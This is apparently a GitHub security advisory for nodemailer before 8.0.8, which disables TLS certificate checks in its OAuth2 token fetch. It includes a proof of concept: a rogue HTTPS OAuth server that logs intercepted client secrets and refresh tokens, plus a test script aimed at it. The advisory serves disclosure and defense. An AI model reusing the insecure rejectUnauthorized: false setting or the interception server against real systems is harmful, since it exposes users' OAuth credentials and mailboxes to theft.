GitHub Advisoryadvisory · npm
GHSA-r7g4-qg5f-qqm2 Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception
HIGH
Official page ↗
- Aliases
- CVE-2026-82662
- Ecosystem
- npm
- Packages
- nodemailer
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
- Weaknesses
- CWE-295
- Reviewed
- 2026-06-15
Affected packages
• npm nodemailer: < 8.0.8 → fixed in 8.0.8
Description
Summary
Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.
As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.
An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:
• OAuth client_secret
• refresh_token
• access tokens
The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.
Details
Root Cause
The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.
Inside:
`lib/fetch/index.js`
the request options contain:
`rejectUnauthorized: false`
This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.
As a result:
• self-signed certificates are trusted
• invalid CA chains are accepted
• hostname validation is bypassed
• attacker-controlled HTTPS endpoints are treated as trusted
This violates expected HTTPS security guarantees.
Vulnerable Flow
The vulnerable execution chain is:
OAuth2 Transport
↓
XOAuth2 token generation
↓
Internal HTTPS fetch client
↓
HTTPS request with rejectUnauthorized:false
↓
Attacker-controlled/self-signed endpoint trusted
↓
OAuth credentials transmitted
PoC
Environment
Mail API (app/server.js)
```
const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();
const app = express();
app.use(express.json());
const transporter = nodemailer.createTransport({
host: process.env.SMTP_HOST,
port: process.env.SMTP_PORT,
secure: false,
auth: {
user: process.env.SMTP_USER,
pass: process.env.SMTP_PASS
}
});
app.post("/send", async (req, res) => {
try {
const { to, subject, text, html } = req.body;
const info = await transporter.sendMail({
from: `"Mailer" `,
to,
subject,
text,
html
});
res.json({
success: true,
messageId: info.messageId
});
} catch (err) {
console.error(err);
res.status(500).json({
success: false,
error: err.message
});
}
});
app.listen(process.env.PORT, () => {
console.log(`Mailer running on port ${process.env.PORT}`);
});
```
Malicious HTTPS OAuth Server (poc/evil-oauth.js)
```
const https = require('https');
const fs = require('fs');
https.createServer({
key: fs.readFileSync('./key.pem'),
cert: fs.readFileSync('./cert.pem')
}, (req, res) => {
console.log('\n==== REQUEST INTERCEPTED ====');
console.log(req.method, req.url);
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
console.log('\nPOST BODY:');
console.log(body);
res.writeHead(200, {
'Content-Type': 'application/json'
});
res.end(JSON.stringify({
access_token: 'attacker_token',
expires_in: 3600
}));
});
}).listen(8443, () => {
console.log('Malicious HTTPS OAuth server listening on 8443');
});
```
Nodemailer OAuth2 Test (test.js)
```
const nodemailer = require('./');
const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
type: 'OAuth2',
user: '[email protected]',
clientId: 'CLIENT_ID_REDACTED',
clientSecret: 'CLIENT_SECRET_REDACTED',
refreshToken: 'REFRESH_TOKEN_REDACTED',
accessUrl: 'https://localhost:8443/token'
}
});
transporter.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'PoC',
text: 'test'
}, (err, info) => {
console.log('\n==== NODEMAILER RESULT ====');
if (err) {
console.error(err);
} else {
console.log(info);
}
});
```
Steps to Reproduce
• Start malicious HTTPS OAuth server:
• node poc/evil-oauth.js
• Run Nodemailer OAuth2 test:
• node test.js
• Observe intercepted OAuth2 request body on the malicious HTTPS server.
PIC
Impact
• OAuth credential theft
• unauthorized email access
• persistent token abuse
• unauthorized mail sending
• mailbox compromise
• interception/tampering of OAuth responses
The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.
Related
Alias · CVE (1)
- CVE-2026-82662 Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers… vulnerability
Weakness · CWE (1)
- CWE-295 Improper Certificate Validation weakness